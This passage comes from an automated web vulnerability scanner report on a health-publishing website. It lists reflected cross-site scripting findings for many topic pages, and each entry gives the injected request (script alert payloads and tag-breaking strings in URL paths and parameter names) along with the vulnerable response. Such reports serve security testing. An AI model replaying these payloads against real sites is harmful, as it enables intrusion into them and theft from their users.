Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:13 GMT
Date: Thu, 10 Mar 2011 17:19:13 GMT
Content-Length: 29408
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/tai-chi?8c050"><script>alert(1)</script>fcbc509eb33=1" title="Register" class="moreLink">
...[SNIP]...

2.884. http://www.rodale.com/topic/toys [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/toys

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8191"><a>64b04209081 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf8191"><a>64b04209081/toys HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:26 GMT
Date: Thu, 10 Mar 2011 17:19:26 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf8191"><a>64b04209081 topicf8191">
...[SNIP]...

2.885. http://www.rodale.com/topic/toys [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/toys

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d928a"><a>cd8f75d001d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/toysd928a"><a>cd8f75d001d HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:55 GMT
Date: Thu, 10 Mar 2011 17:19:55 GMT
Content-Length: 22462
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-toysd928a"><a>cd8f75d001d node node-958">
...[SNIP]...

2.886. http://www.rodale.com/topic/toys [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/toys

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9df41"><script>alert(1)</script>9526be50d8c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/toys?9df41"><script>alert(1)</script>9526be50d8c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:22 GMT
Date: Thu, 10 Mar 2011 17:19:22 GMT
Content-Length: 30162
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/toys?9df41"><script>alert(1)</script>9526be50d8c=1" title="Register" class="moreLink">
...[SNIP]...

2.887. http://www.rodale.com/topic/trans-fatty-acids [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/trans-fatty-acids

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 988c3"><a>c0de319f0fe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic988c3"><a>c0de319f0fe/trans-fatty-acids HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:27 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:28 GMT
Date: Thu, 10 Mar 2011 17:19:29 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic988c3"><a>c0de319f0fe topic988c3">
...[SNIP]...

2.888. http://www.rodale.com/topic/trans-fatty-acids [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/trans-fatty-acids

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e629e"><a>e11f97ba44c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/trans-fatty-acidse629e"><a>e11f97ba44c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:59 GMT
Date: Thu, 10 Mar 2011 17:19:59 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-trans-fatty-acidse629e"><a>e11f97ba44c node node-958">
...[SNIP]...

2.889. http://www.rodale.com/topic/trans-fatty-acids [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/trans-fatty-acids

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21748"><script>alert(1)</script>255626b876b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/trans-fatty-acids?21748"><script>alert(1)</script>255626b876b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:27 GMT
Date: Thu, 10 Mar 2011 17:19:27 GMT
Content-Length: 30171
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/trans-fatty-acids?21748"><script>alert(1)</script>255626b876b=1" title="Register" class="moreLink">
...[SNIP]...

2.890. http://www.rodale.com/topic/transportation-alternatives [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/transportation-alternatives

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c510d"><a>4589f0492ef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicc510d"><a>4589f0492ef/transportation-alternatives HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:40 GMT
Date: Thu, 10 Mar 2011 17:19:41 GMT
Content-Length: 22552
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicc510d"><a>4589f0492ef topicc510d">
...[SNIP]...

2.891. http://www.rodale.com/topic/transportation-alternatives [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/transportation-alternatives

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53fd7"><a>2a1002b4ec0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/transportation-alternatives53fd7"><a>2a1002b4ec0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:13 GMT
Date: Thu, 10 Mar 2011 17:20:13 GMT
Content-Length: 22531
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-transportation-alternatives53fd7"><a>2a1002b4ec0 node node-958">
...[SNIP]...

2.892. http://www.rodale.com/topic/transportation-alternatives [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/transportation-alternatives

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25e5a"><script>alert(1)</script>d5d41fa2e1a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/transportation-alternatives?25e5a"><script>alert(1)</script>d5d41fa2e1a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:35 GMT
Date: Thu, 10 Mar 2011 17:19:36 GMT
Content-Length: 31171
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/transportation-alternatives?25e5a"><script>alert(1)</script>d5d41fa2e1a=1" title="Register" class="moreLink">
...[SNIP]...

2.893. http://www.rodale.com/topic/travel-tips-and-safety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/travel-tips-and-safety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28259"><a>7107f1bcc1a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic28259"><a>7107f1bcc1a/travel-tips-and-safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:47 GMT
Date: Thu, 10 Mar 2011 17:19:47 GMT
Content-Length: 22537
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic28259"><a>7107f1bcc1a topic28259">
...[SNIP]...

2.894. http://www.rodale.com/topic/travel-tips-and-safety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/travel-tips-and-safety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16343"><a>5ab754e628f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/travel-tips-and-safety16343"><a>5ab754e628f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:17 GMT
Date: Thu, 10 Mar 2011 17:20:17 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-travel-tips-and-safety16343"><a>5ab754e628f node node-958">
...[SNIP]...

2.895. http://www.rodale.com/topic/travel-tips-and-safety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/travel-tips-and-safety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2bc28"><script>alert(1)</script>8ffac2c6320 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/travel-tips-and-safety?2bc28"><script>alert(1)</script>8ffac2c6320=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:44 GMT
Date: Thu, 10 Mar 2011 17:19:44 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33102

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/travel-tips-and-safety?2bc28"><script>alert(1)</script>8ffac2c6320=1" title="Register" class="moreLink">
...[SNIP]...

2.896. http://www.rodale.com/topic/vaccines [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/vaccines

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1b64"><a>ca3b79751e9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topica1b64"><a>ca3b79751e9/vaccines HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:38 GMT
Date: Thu, 10 Mar 2011 17:19:39 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topica1b64"><a>ca3b79751e9 topica1b64">
...[SNIP]...

2.897. http://www.rodale.com/topic/vaccines [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/vaccines

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f598d"><a>1656bd3696a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/vaccinesf598d"><a>1656bd3696a HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:50:07 GMT
Date: Thu, 10 Mar 2011 17:20:08 GMT
Content-Length: 22474
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-vaccinesf598d"><a>1656bd3696a node node-958">
...[SNIP]...

2.898. http://www.rodale.com/topic/vaccines [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/vaccines

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98db9"><script>alert(1)</script>e09ada34e3e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/vaccines?98db9"><script>alert(1)</script>e09ada34e3e=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:32 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:36 GMT
Date: Thu, 10 Mar 2011 17:19:37 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/vaccines?98db9"><script>alert(1)</script>e09ada34e3e=1" title="Register" class="moreLink">
...[SNIP]...

2.899. http://www.rodale.com/topic/vegetarian-diet [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/vegetarian-diet

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba9dd"><a>d5e45e99510 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicba9dd"><a>d5e45e99510/vegetarian-diet HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:45 GMT
Date: Thu, 10 Mar 2011 17:19:46 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicba9dd"><a>d5e45e99510 topicba9dd">
...[SNIP]...

2.900. http://www.rodale.com/topic/vegetarian-diet [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/vegetarian-diet

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c46aa"><a>0abd92a2709 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/vegetarian-dietc46aa"><a>0abd92a2709 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:18 GMT
Date: Thu, 10 Mar 2011 17:20:18 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-vegetarian-dietc46aa"><a>0abd92a2709 node node-958">
...[SNIP]...

2.901. http://www.rodale.com/topic/vegetarian-diet [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/vegetarian-diet

Issue detail

